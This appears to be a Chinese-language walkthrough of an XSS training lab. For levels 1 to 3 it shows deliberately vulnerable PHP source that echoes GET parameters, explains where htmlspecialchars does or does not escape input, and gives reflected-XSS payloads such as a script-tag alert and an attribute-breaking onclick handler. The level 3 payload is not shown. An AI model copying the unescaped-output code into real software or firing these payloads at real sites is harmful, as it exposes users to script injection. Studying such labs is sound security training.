level1
-
源代码
<?php ini_set("display_errors", 0); $str = $_GET["name"]; echo "<h2 align=center>欢迎用户".$str."</h2>"; ?>
通过源代码发现此关没有对输入的name值做任何过滤,直接echo出来
-
寻找输入点和输出点
-
构造payload
<script>alert(1)</script>
level2
-
源代码
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> <input type=submit name=submit value="搜索"/> </form> </center>'; ?> <center><img src=level2.png></center> <?php
此关使用了
htmlspecialchars()
函数---->把html标签转化为浏览器不能识别的字符,利用这个函数转化以后,html标签就可以在浏览器原样输出了。 -
输入输出点
-
构建payload
1" οnclick="alert(1)
level3
-
查看页面源代码
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center> <form action=level3.php method=GET> <input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜索 /> </form> </center>"; ?>
可以发现在
<H2>
和<input>
处都使用了htmlspecialchars()
函数 -
输入输出点
-
构建payload